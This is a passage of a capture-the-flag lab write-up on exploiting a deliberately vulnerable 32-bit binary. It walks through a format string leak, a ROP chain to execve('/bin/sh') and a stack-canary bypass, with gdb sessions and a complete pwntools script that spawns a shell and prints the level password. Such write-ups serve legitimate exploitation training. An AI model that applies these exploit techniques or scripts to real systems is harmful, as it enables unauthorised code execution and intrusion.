<==\n"\ "\t[+] Enter Your Favorite Author's Last Name: "); selectABook(); printf("\n...please turn to page 394...\n"); findSomeWords(); printf("\n\t[===] Whew you made it !\n\n"); return EXIT_SUCCESS; }
What does the program do?
–> The binary is linked statically (gcc option -static
on line 7).
–> On lines 8-9 two global integer pointers are defined: global_addr
and global_addr_check
.
–> Within the main
function a welcome message is printed and the function selectABook
is called (line 97).
–> This function (line 13) defines a local buffer buf_secure
(line 15) which is filled with user input using scanf
(line 16).
–> This buffer is printed using printf
(line 17) and then compared to different strings / constants ("A"
, "B"
, '\x00'
, 1337
).
–> Depending on the result of the comparison readA
, readB
or readC
is called. If buf_secure
is equal to 1337
the program is quit by calling exit
.
–> If none of the comparisons succeeded, the function selectABook
is called recursively (line 29).
–> The three functions readA
, readB
and readC
merely print some output.
–> After the call to selectABook
within the main
function there is another call to findSomeWords
(line 100).
–> This function (line 65) defines a local buffer buf
(line 67) and sets the global_addr
pointer to the address right after the buffer: (&buf+0x1 = buf+24
) (line 69).
–> The other pointer global_addr_check
is set to the value of global_addr-0x2
(line 71), which equals the address of buf+16
since both pointers are 4 byte integers (24 - 8 = 16
).
–> On line 75 read
is called to read a maximum amount of 2048 bytes into buf
.
–> After this (lines 77-81) follows a custom stack cookie implementation. The values which each pointer is referencing are XORed and compared the (*(global_addr))^(0xdeadbeef)
.
–> If the comparison fails, exit
is called to quit the program. In this case the return
instruction at the end of the function is never reached.
Just like lab6B and lab7A there is an additional readme file:
lab8A@warzone:/levels/lab08$ cat lab8A.readme lab8A is a remote level much like lab6B. It is running on port 8841. nc wargame.server.example 8841 -vvv
Where is the vulnerability within the program?
There are two obvious vulnerabilities in the program. The first one within selectABook
:
char buf_secure[512]; scanf("%s", buf_secure); printf(buf_secure);
The buffer buf_secure
contains user input and is used as the first argument to printf
. Since this is the format string, the user can enter format specifiers to leak information and also to write arbitrary data to an arbitrary address as we have seen in lab04.
The second vulnerability resides within the function findSomeWords
:
char buf[24];
read(STDIN, buf, 2048); // >> read a lot every day !
The buffer buf
is only 24 bytes long, but a maximum amount of 2048 are read into it. This is a classical buffer overflow like in lab02.
Since the subject of this lab is Misc and Stack Cookies our final intend should be to exploit the buffer overflow vulnerability and bypass the stack canary protection. Nevertheless I decided to focus on the format string vulnerability at first. It should be possible to exploit this vulnerability without even using the second vulnerability.
We already know that we can leverage a format string vulnerability to write arbitrary data to an arbitrary address. Since we ultimately want to get a shell, the first thing we need to do is to control the instruction pointer. We can do this by overwriting the return address of the function selectABook
. The only thing we have to consider is that we need to enter a valid input triggering readA
, readB
or readC
because otherwise the return
instruction at the end of the function is never reached. Since the function calls itself recursively if no valid input is entered, this should be no problem.
In order to overwrite the return address, we have to know where the address is stored on the stack. Because ASLR is enabled, we do not know the address in advance. Thus we start by leaking a stack address:
lab8A@warzone:/levels/lab08$ ./lab8A ********************************************** {|} Welcome to QUEND's Beta-Book-Browser {|} ********************************************** ==> reading is for everyone <== [+] Enter Your Favorite Author's Last Name: %p 0xbfb6f5a0 What were you thinking, that isn't a good book.
That’s it. Since the first argument on the stack is a stack address, it suffices to enter %p
to leak this address. We could now calculate the offset to the return address we want to overwrite. But before we are doing this, we have to think about which address want to store in the instruction pointer.
We have already figured out that the binary was linked statically. We can verify this using file
for example:
lab8A@warzone:/levels/lab08$ file lab8A lab8A: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=760ccd5bdb365cd6acbc1befc07e58fec83743a1, not stripped
Also NX
is enabled and we thus cannot store and execute a shellcode on the stack:
lab8A@warzone:/levels/lab08$ checksec lab8A RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 2 41 lab8A
Unfortunately the binary does not contain system
or execve
. But a lot of function has been built-in statically resulting in a quite good amount of ROP-gadgets:
lab8A@warzone:/levels/lab08$ ROPgadget --binary lab8A | wc -l 11940
Thus we will build a ROP-chain which will call execve("/bin/sh")
like we did in lab5B.
I ended up with the following ROP-gadgets using ROPgadget
:
0x08054b45: mov edx, 0xffffffff; ret 0x0807b8dc: inc edx; adc al,0x39; ret --> EDX = 0 0x08049c73: xor ecx, ecx; pop ebx; mov eax, ecx; pop esi; pop edi; pop ebp; ret ;addr_binsh -> ebx ;0xdeadbeef -> esi ;0xdeadbeef -> edi ;0xdeadbeef -> ebp --> ECX = 0 --> EAX = 0 --> EBX = address of "/bin/sh" 0x08069443: add eax, edi; pop edi; ret ;0x2152411c -> edi: 0xdeadbeef + 0x2152411c = 0x10000000b 0x08069443: add eax, edi; pop edi; ret ;0xdeadbeef -> edi --> EAX = 0xB 0x08048ef6: int 0x80 ; execve("/bin/sh")
For our ROP-chain to work we need an address which references the string "/bin/sh"
. Since we have already leaked a stack address, we can simply store the string /bin/sh
in the buffer. The leaked stack address using the format specifier %p
is the address of the buffer itself. Thus we can append /bin/sh
and the string will be stored at leak+2
:
lab8A@warzone:/levels/lab08$ gdb lab8A Reading symbols from lab8A...(no debugging symbols found)...done. gdb-peda$ disassemble selectABook Dump of assembler code for function selectABook: ... 0x08048f3e <+51>: call 0x804f4f0 <printf> 0x08048f43 <+56>: mov DWORD PTR [esp+0x4],0x80bf7ce ... End of assembler dump. gdb-peda$ b *selectABook+56 Breakpoint 1 at 0x8048f43 gdb-peda$ r Starting program: /levels/lab08/lab8A ********************************************** {|} Welcome to QUEND's Beta-Book-Browser {|} ********************************************** ==> reading is for everyone <== [+] Enter Your Favorite Author's Last Name: %p/bin/sh 0xbffff4e0/bin/sh[----------------------------------registers-----------------------------------] EAX: 0x11 EBX: 0x80481a8 (<_init>: push ebx) ECX: 0xffffffff EDX: 0x80ed4d4 --> 0x0 ESI: 0x0 EDI: 0x80ec00c --> 0x8068100 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4]) EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>: push ebx) ESP: 0xbffff4d8 --> 0xbffff4e0 ("%p/bin/sh") EIP: 0x8048f43 (<selectABook+56>: mov DWORD PTR [esp+0x4],0x80bf7ce) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048f35 <selectABook+42>: lea eax,[ebp-0x204] 0x8048f3b <selectABook+48>: mov DWORD PTR [esp],eax 0x8048f3e <selectABook+51>: call 0x804f4f0 <printf> => 0x8048f43 <selectABook+56>: mov DWORD PTR [esp+0x4],0x80bf7ce 0x8048f4b <selectABook+64>: lea eax,[ebp-0x204] 0x8048f51 <selectABook+70>: mov DWORD PTR [esp],eax 0x8048f54 <selectABook+73>: call 0x8048280 0x8048f59 <selectABook+78>: test eax,eax [------------------------------------stack-------------------------------------] 0000| 0xbffff4d8 --> 0xbffff4e0 ("%p/bin/sh") 0004| 0xbffff4dc --> 0xbffff4e0 ("%p/bin/sh") 0008| 0xbffff4e0 ("%p/bin/sh") 0012| 0xbffff4e4 ("in/sh") 0016| 0xbffff4e8 --> 0x68 ('h') 0020| 0xbffff4ec --> 0x0 0024| 0xbffff4f0 --> 0x0 0028| 0xbffff4f4 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048f43 in selectABook () gdb-peda$ x/s 0xbffff4e0 + 2 0xbffff4e2: "/bin/sh"
But how can we store all ROP-gadgets on the stack? With the format string vulnerability we can overwrite the 4 byte return address. Of course we could also write a little bit more data. But the whole ROP-chain? A more efficient way is to use a pivoting gadget like we did in lab5A:
–> We store all our gadgets on the stack with the call to scanf
in selectABook
.
–> Since this is no valid user input, the function selectABook
gets called once again.
–> We calculate the offset from esp
to our ROP-chain when the ret
instruction of the last selectABook
call is reached.
–> We find a pivoting ROP-gadget which adds this offset to esp
.
–> We overwrite the return address of the last selectABook
call with the address of this pivoting ROP-gadget.
Let’s start by determining the offset:
lab8A@warzone:/levels/lab08$ gdb lab8A Reading symbols from lab8A...(no debugging symbols found)...done. gdb-peda$ disassemble selectABook Dump of assembler code for function selectABook: ... 0x08048fdf <+212>: leave 0x08048fe0 <+213>: ret End of assembler dump. gdb-peda$ b *selectABook+213 Breakpoint 1 at 0x8048fe0 gdb-peda$ r Starting program: /levels/lab08/lab8A ********************************************** {|} Welcome to QUEND's Beta-Book-Browser {|} ********************************************** ==> reading is for everyone <== [+] Enter Your Favorite Author's Last Name: AAAA AAAA What were you thinking, that isn't a good book.A A ************************************************* {|} Aristote's Metaphysics 350 B.C. Book VIII {|} ************************************************* To return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unity? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something beside the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such quality. And a definition is a set of words which is one not by being connected together, like the Iliad, but by dealing with one object.-What then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, animal and biped, and in general man would be not one but more than one thing, animal and biped? [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x80481a8 (<_init>: push ebx) ECX: 0x80ed4d4 --> 0x0 EDX: 0x3a8 ESI: 0x0 EDI: 0x80ec00c --> 0x8068100 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4]) EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>: push ebx) ESP: 0xbffff4d4 --> 0x8048fcd (<selectABook+194>: nop) EIP: 0x8048fe0 (<selectABook+213>: ret) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048fd8 <selectABook+205>: je 0x8048fdf <selectABook+212> 0x8048fda <selectABook+207>: call 0x806f490 <__stack_chk_fail> 0x8048fdf <selectABook+212>: leave => 0x8048fe0 <selectABook+213>: ret 0x8048fe1 <readA>: push ebp 0x8048fe2 <readA+1>: mov ebp,esp 0x8048fe4 <readA+3>: sub esp,0x8 0x8048fe7 <readA+6>: mov eax,gs:0x14 [------------------------------------stack-------------------------------------] 0000| 0xbffff4d4 --> 0x8048fcd (<selectABook+194>: nop) 0004| 0xbffff4d8 --> 0x80bf7f8 ("\nWhat were you thinking, that isn't a good book.") 0008| 0xbffff4dc --> 0x80bf7d0 --> 0x46 ('F') 0012| 0xbffff4e0 ("AAAA") 0016| 0xbffff4e4 --> 0x0 0020| 0xbffff4e8 --> 0x0 0024| 0xbffff4ec --> 0x0 0028| 0xbffff4f0 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048fe0 in selectABook () gdb-peda$ p 0xbffff4e0 - 0xbffff4d4 $1 = 0xc
The from the buffer buf_secure
of the first call to selectABook
to the return address of the second call is 0xc
.
Because the ret
instruction itself already pops on item off the stack, we need to find a gadget, which will add 8
to esp
. Again I used ROPgadget
to find an appropriate gadget:
lab8A@warzone:/levels/lab08$ ROPgadget --binary lab8A | grep "add esp" ... 0x080b4f89 : add esp, 4; pop ebp; ret ...
Summing it up our exploit will do the following:
–> Leak a stack address and store "/bin/sh"
(first call to selectABook
).
–> Store our ROP-chain (second call to selectABook
).
–> Overwrite the return address of the second call with the pivoting gadget using the format string vulnerability (third call to selectABook
).
–> Enter some valid input to reach the ret
instruction (fourth call to selectABook
).
The final python-script:
lab8A@warzone:/levels/lab08$ cat /tmp/exploit_lab8A.py from pwn import * p = remote("localhost", 8841) #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # first call to selectABook: leak stack + store "/bin/sh" fmt = "%p/bin/sh" # stack_leak + /bin/sh for later use p.sendline(fmt) ret = p.recv(1000) stack_leak = int(ret[0xe1:0xe9], 16) log.success("stack_leak: " + hex(stack_leak)) addr_binsh = stack_leak + 2 #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # second call to selectABook: ROP-chain fmt = p32(0x08054b45) # mov edx, 0xffffffff; ret fmt += p32(0x0807b8dc) # inc edx; adc al,0x39; ret # --> EDX = 0 fmt += p32(0x08049c73) # xor ecx, ecx; pop ebx; mov eax, ecx; # pop esi; pop edi; pop ebp; ret fmt += p32(addr_binsh) # -> ebx fmt += p32(0xdeadbeef) # -> esi fmt += p32(0xdeadbeef) # -> edi fmt += p32(0xdeadbeef) # -> ebp # --> ECX = 0 # --> EAX = 0 # --> EBX = address of "/bin/sh" fmt += p32(0x08069443) # add eax, edi; pop edi; ret fmt += p32(0x2152411c) # -> edi: 0xdeadbeef + 0x2152411c = 0x10000000b fmt += p32(0x08069443) # add eax, edi; pop edi; ret fmt += p32(0xdeadbeef) # -> edi # --> EAX = 0xB fmt += p32(0x08048ef6) # int 0x80 p.sendline(fmt) #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # third call to selectABook: overwrite return address addr_buf = 0x080b4f89 # stack-pivot: add esp, 4; pop ebp; ret addr_write = stack_leak - 0xc - 0x214 # ret addr of 2nd call to selectABook value_u2 = addr_buf >> 16 value_l2 = addr_buf & 0xffff fmt = p32(addr_write+2) # arg selector: $1 fmt += p32(addr_write) # arg selector: $2 fmt += "%" + str(value_u2 - 8) + "x" fmt += "%2$hn" fmt += "%" + str(value_l2 - value_u2) + "x" fmt += "%3$hn" p.sendline(fmt) #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # fourth call to selectABook: valid input / trigger return p.sendline("A") p.recvuntil("biped? \n") p.interactive()
Running the script:
lab8A@warzone:/levels/lab08$ python /tmp/exploit_lab8A.py [+] Opening connection to localhost on port 8841: Done [+] stack_leak: 0xbfebd390 [*] Switching to interactive mode $ id uid=1032(lab8end) gid=1033(lab8end) groups=1033(lab8end),1001(gameuser) $ cat /home/lab8end/.pass H4x0r5_d0nt_N33d_m3t4pHYS1c5
As we figured out, there is also a second buffer overflow vulnerability. Let’s try to exploit this vulnerability, too:
buffer overflow (stack canary)
The function findSomeWords
contains a buffer overflow vulnerability:
char buf[24];
read(STDIN, buf, 2048); // >> read a lot every day !
If we want to leverage this vulnerability to overwrite the return address and redirect the control flow, we have to bypass the deployed stack canary protections.
When stack canaries are enabled, each function prologue contains the following additional instructions:
gdb-peda$ disassemble findSomeWords Dump of assembler code for function findSomeWords: 0x080490dd <+0>: push ebp 0x080490de <+1>: mov ebp,esp 0x080490e0 <+3>: sub esp,0x28 0x080490e3 <+6>: mov eax,gs:0x14 0x080490e9 <+12>: mov DWORD PTR [ebp-0x4],eax ...
gs
is a segment register used for thread-local data. gs:0x14
contains the stack canary, which is stored on the stack right before the return address at ebp-0x4
.
Before the ret
instruction in the function epilogue is executed, the stack canary on the stack is compared to the actual stack canary in gs:0x14
:
... 0x08049168 <+139>: mov eax,DWORD PTR [ebp-0x4] 0x0804916b <+142>: xor eax,DWORD PTR gs:0x14 0x08049172 <+149>: je 0x8049179 <findSomeWords+156> 0x08049174 <+151>: call 0x806f490 <__stack_chk_fail> 0x08049179 <+156>: leave 0x0804917a <+157>: ret
If the canary on the stack is not equal with the actual canary, the je
will not be taken and the function __stack_chk_fail
will quit the program. This way the ret
instruction is never reached and a potentially overwritten return address will not be loaded to the instruction pointer.
How can we bypass this protection? Well, we have already seen that the function selectABook
contains a format string vulnerability. Since the stack canary is the same for all function calls in the same thread, we can use this vulnerability to leak the stack canary.
In order to do this, we just have to determine the argument selector we have to use in the format string to print a stack canary:
gdb-peda$ disassemble selectABook Dump of assembler code for function selectABook: 0x08048f0b <+0>: push ebp 0x08048f0c <+1>: mov ebp,esp 0x08048f0e <+3>: sub esp,0x20c 0x08048f14 <+9>: mov eax,gs:0x14 0x08048f1a <+15>: mov DWORD PTR [ebp-0x4],eax 0x08048f1d <+18>: xor eax,eax 0x08048f1f <+20>: lea eax,[ebp-0x204] 0x08048f25 <+26>: mov DWORD PTR [esp+0x4],eax 0x08048f29 <+30>: mov DWORD PTR [esp],0x80bf7cb 0x08048f30 <+37>: call 0x804f550 <__isoc99_scanf> 0x08048f35 <+42>: lea eax,[ebp-0x204] 0x08048f3b <+48>: mov DWORD PTR [esp],eax 0x08048f3e <+51>: call 0x804f4f0 <printf> ... End of assembler dump. gdb-peda$ b *selectABook+15 Breakpoint 1 at 0x8048f1a gdb-peda$ b *selectABook+51 Breakpoint 2 at 0x8048f3e
I set a breakpoint after the stack canary has been loaded to eax
and another breakpoint when printf
is called in order to see at which offset from the current esp
the canary is stored:
gdb-peda$ r Starting program: /levels/lab08/lab8A ********************************************** {|} Welcome to QUEND's Beta-Book-Browser {|} ********************************************** ==> reading is for everyone <== [+] Enter Your Favorite Author's Last Name: [----------------------------------registers-----------------------------------] EAX: 0x285ea900 EBX: 0x80481a8 (<_init>: push ebx) ECX: 0xffffffff EDX: 0x80ed4d4 --> 0x0 ESI: 0x0 EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov edx,DWORD PTR [esp+0x4]) EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>: push ebx) ESP: 0xbffff4d8 --> 0x0 EIP: 0x8048f1a (<selectABook+15>: mov DWORD PTR [ebp-0x4],eax) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048f0c <selectABook+1>: mov ebp,esp 0x8048f0e <selectABook+3>: sub esp,0x20c 0x8048f14 <selectABook+9>: mov eax,gs:0x14 => 0x8048f1a <selectABook+15>: mov DWORD PTR [ebp-0x4],eax 0x8048f1d <selectABook+18>: xor eax,eax 0x8048f1f <selectABook+20>: lea eax,[ebp-0x204] 0x8048f25 <selectABook+26>: mov DWORD PTR [esp+0x4],eax 0x8048f29 <selectABook+30>: mov DWORD PTR [esp],0x80bf7cb [------------------------------------stack-------------------------------------] 0000| 0xbffff4d8 --> 0x0 0004| 0xbffff4dc --> 0x0 0008| 0xbffff4e0 --> 0x0 0012| 0xbffff4e4 --> 0x0 0016| 0xbffff4e8 --> 0x0 0020| 0xbffff4ec --> 0x0 0024| 0xbffff4f0 --> 0x0 0028| 0xbffff4f4 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048f1a in selectABook ()
The canary being used is 0x285ea900
.
gdb-peda$ c Continuing. AAAA [----------------------------------registers-----------------------------------] EAX: 0xbffff4e0 ("AAAA") EBX: 0x80481a8 (<_init>: push ebx) ECX: 0x80ed4e0 --> 0x0 EDX: 0x1 ESI: 0x0 EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov edx,DWORD PTR [esp+0x4]) EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>: push ebx) ESP: 0xbffff4d8 --> 0xbffff4e0 ("AAAA") EIP: 0x8048f3e (<selectABook+51>: call 0x804f4f0 <printf>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048f30 <selectABook+37>: call 0x804f550 <__isoc99_scanf> 0x8048f35 <selectABook+42>: lea eax,[ebp-0x204] 0x8048f3b <selectABook+48>: mov DWORD PTR [esp],eax => 0x8048f3e <selectABook+51>: call 0x804f4f0 <printf> 0x8048f43 <selectABook+56>: mov DWORD PTR [esp+0x4],0x80bf7ce 0x8048f4b <selectABook+64>: lea eax,[ebp-0x204] 0x8048f51 <selectABook+70>: mov DWORD PTR [esp],eax 0x8048f54 <selectABook+73>: call 0x8048280 Guessed arguments: arg[0]: 0xbffff4e0 ("AAAA") [------------------------------------stack-------------------------------------] 0000| 0xbffff4d8 --> 0xbffff4e0 ("AAAA") 0004| 0xbffff4dc --> 0xbffff4e0 ("AAAA") 0008| 0xbffff4e0 ("AAAA") 0012| 0xbffff4e4 --> 0x0 0016| 0xbffff4e8 --> 0x0 0020| 0xbffff4ec --> 0x0 0024| 0xbffff4f0 --> 0x0 0028| 0xbffff4f4 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x08048f3e in selectABook () gdb-peda$ searchmem 0x285ea900 Searching for '0x285ea900' in: None ranges Found 3 results, display max 3 items: [heap] : 0x80ef854 --> 0x285ea900 [stack] : 0xbffff6e0 --> 0x285ea900 [stack] : 0xbffff704 --> 0x285ea900 gdb-peda$ p (0xbffff6e0 - 0xbffff4d8) / 4 $1 = 0x82
There are two canaries on the stack. The offset to the second on can be calculated by subtracting the current esp
(0xbffff4d8
). Because we are going to use the 4-byte format specifier %p
we have to divide the difference by 4 to determine the argument selector we have to use. The value 0x82 = 130
means that we can print the stack canary with the format specifier %130$p
. Let’s verify this:
... 0x08048f1a <+15>: mov DWORD PTR [ebp-0x4],eax ... End of assembler dump. gdb-peda$ b *selectABook+15 Breakpoint 1 at 0x8048f1a gdb-peda$ r Starting program: /levels/lab08/lab8A ********************************************** {|} Welcome to QUEND's Beta-Book-Browser {|} ********************************************** ==> reading is for everyone <== [+] Enter Your Favorite Author's Last Name: [----------------------------------registers-----------------------------------] EAX: 0xdbeeeb00 EBX: 0x80481a8 (<_init>: push ebx) ECX: 0xffffffff EDX: 0x80ed4d4 --> 0x0 ESI: 0x0 EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov edx,DWORD PTR [esp+0x4]) EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>: push ebx) ESP: 0xbffff4d8 --> 0x0 EIP: 0x8048f1a (<selectABook+15>: mov DWORD PTR [ebp-0x4],eax) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048f0c <selectABook+1>: mov ebp,esp 0x8048f0e <selectABook+3>: sub esp,0x20c 0x8048f14 <selectABook+9>: mov eax,gs:0x14 => 0x8048f1a <selectABook+15>: mov DWORD PTR [ebp-0x4],eax 0x8048f1d <selectABook+18>: xor eax,eax 0x8048f1f <selectABook+20>: lea eax,[ebp-0x204] 0x8048f25 <selectABook+26>: mov DWORD PTR [esp+0x4],eax 0x8048f29 <selectABook+30>: mov DWORD PTR [esp],0x80bf7cb [------------------------------------stack-------------------------------------] 0000| 0xbffff4d8 --> 0x0 0004| 0xbffff4dc --> 0x0 0008| 0xbffff4e0 --> 0x0 0012| 0xbffff4e4 --> 0x0 0016| 0xbffff4e8 --> 0x0 0020| 0xbffff4ec --> 0x0 0024| 0xbffff4f0 --> 0x0 0028| 0xbffff4f4 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048f1a in selectABook () gdb-peda$ c Continuing. %130$p 0xdbeeeb00
We have successfully leaked the stack canary 🙂
As we have already seen an additional stack canary has been implemented within the function findSomeWords
:
if(((*( global_addr))^(*(global_addr_check))) != ((*( global_addr))^(0xdeadbeef))){ printf("\n\nWoah There\n"); // why are you trying to break my program q-q exit(EXIT_FAILURE); }
The pointer global_addr
references the address right after the buffer buf
:
global_addr = (&buf+0x1);
And what is stored at this address? Right! The stack canary.
The other pointer global_addr_check
references the address of buf+16
:
global_addr_check = global_addr-0x2;
This means that we have to make sure that at &buf[16]
the value "\xef\xbe\xad\xde"
is stored in order to bypass the custom canary protection.
At last we have to determine the offset from the buffer to the return address. This can be done by setting a breakpoint at the beginning of findSomeWords
to see at which address the return address is stored and set another breakpoint at the call to read
to see where the buffer is stored:
gdb-peda$ disassemble findSomeWords Dump of assembler code for function findSomeWords: 0x080490dd <+0>: push ebp ... 0x08049128 <+75>: call 0x806d6d0 <read> ... End of assembler dump. gdb-peda$ b *findSomeWords Breakpoint 1 at 0x80490dd gdb-peda$ b *findSomeWords+75 Breakpoint 2 at 0x8049128 gdb-peda$ r Starting program: /levels/lab08/lab8A ********************************************** {|} Welcome to QUEND's Beta-Book-Browser {|} ********************************************** ==> reading is for everyone <== [+] Enter Your Favorite Author's Last Name: A A ************************************************* {|} Aristote's Metaphysics 350 B.C. Book VIII {|} ************************************************* To return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unity? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something beside the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such quality. And a definition is a set of words which is one not by being connected together, like the Iliad, but by dealing with one object.-What then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, animal and biped, and in general man would be not one but more than one thing, animal and biped? ...please turn to page 394... [----------------------------------registers-----------------------------------] EAX: 0x1f EBX: 0x80481a8 (<_init>: push ebx) ECX: 0x80ed4d4 --> 0x0 EDX: 0x1f ESI: 0x0 EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov edx,DWORD PTR [esp+0x4]) EBP: 0xbffff708 --> 0x8049990 (<__libc_csu_fini>: push ebx) ESP: 0xbffff6e8 --> 0x80491eb (<main+112>: mov DWORD PTR [esp],0x80c0993) EIP: 0x80490dd (<findSomeWords>: push ebp) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80490d6 <readC+77>: call 0x806f490 <__stack_chk_fail> 0x80490db <readC+82>: leave 0x80490dc <readC+83>: ret => 0x80490dd <findSomeWords>: push ebp 0x80490de <findSomeWords+1>: mov ebp,esp 0x80490e0 <findSomeWords+3>: sub esp,0x28 0x80490e3 <findSomeWords+6>: mov eax,gs:0x14 0x80490e9 <findSomeWords+12>: mov DWORD PTR [ebp-0x4],eax [------------------------------------stack-------------------------------------] 0000| 0xbffff6e8 --> 0x80491eb (<main+112>: mov DWORD PTR [esp],0x80c0993) 0004| 0xbffff6ec --> 0x80c0974 ("\n...please turn to page 394...") 0008| 0xbffff6f0 --> 0x0 0012| 0xbffff6f4 --> 0x2 0016| 0xbffff6f8 --> 0x0 0020| 0xbffff6fc --> 0xbffff794 --> 0xbffff8b6 ("/levels/lab08/lab8A") 0024| 0xbffff700 --> 0x1 0028| 0xbffff704 --> 0x44d44700 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x080490dd in findSomeWords () gdb-peda$ c Continuing. ..I like to read ^_^ <== [----------------------------------registers-----------------------------------] EAX: 0xbffff6c8 --> 0x804f510 (<printf+32>: add esp,0x1c) EBX: 0x80481a8 (<_init>: push ebx) ECX: 0xffffffff EDX: 0x80ed4d4 --> 0x0 ESI: 0x0 EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov edx,DWORD PTR [esp+0x4]) EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>: push ebx) ESP: 0xbffff6bc --> 0x0 EIP: 0x8049128 (<findSomeWords+75>: call 0x806d6d0 <read>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804911a <findSomeWords+61>: lea eax,[ebp-0x1c] 0x804911d <findSomeWords+64>: mov DWORD PTR [esp+0x4],eax 0x8049121 <findSomeWords+68>: mov DWORD PTR [esp],0x0 => 0x8049128 <findSomeWords+75>: call 0x806d6d0 <read> 0x804912d <findSomeWords+80>: mov eax,ds:0x80edf20 0x8049132 <findSomeWords+85>: mov edx,DWORD PTR [eax] 0x8049134 <findSomeWords+87>: mov eax,ds:0x80edf24 0x8049139 <findSomeWords+92>: mov eax,DWORD PTR [eax] Guessed arguments: arg[0]: 0x0 arg[1]: 0xbffff6c8 --> 0x804f510 (<printf+32>: add esp,0x1c) arg[2]: 0x800 [------------------------------------stack-------------------------------------] 0000| 0xbffff6bc --> 0x0 0004| 0xbffff6c0 --> 0xbffff6c8 --> 0x804f510 (<printf+32>: add esp,0x1c) 0008| 0xbffff6c4 --> 0x800 0012| 0xbffff6c8 --> 0x804f510 (<printf+32>: add esp,0x1c) 0016| 0xbffff6cc --> 0x80ec200 --> 0xfbad2887 0020| 0xbffff6d0 --> 0x80c0894 ('*' <repeats 46 times>, "\n{|} Welcome to QUEND's Beta-Book-Browser {|}\n", '*' <repeats 46 times>, "\n\n\t==> reading is for everyone <==\n\t[+] Enter Your Favorite "...) 0024| 0xbffff6d4 --> 0xbffff6f0 --> 0x0 0028| 0xbffff6d8 --> 0x80481a8 (<_init>: push ebx) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x08049128 in findSomeWords () gdb-peda$ p 0xbffff6e8 - 0xbffff6c8 $1 = 0x20
Thus the offset from the buffer buf
to the return address is 0x20 = 32 byte.
Summing it up our second exploit will do the following:
–> Leak a stack address and the stack canary and store "/bin/sh"
on the stack using the function selectABook
.
–> Enter some valid input to trigger the function call to findSomeWords
.
–> Make sure the input contains the value 0xdeadbeef
at offset 16 to bypass the custom stack canary.
–> Append the leaked stack canary to bypass the default stack canary.
–> Append the ROP-chain we already used overwriting the return address with the address of the first gadget (this time no need for a pivoting gadget!).
The final python-script for the second exploit:
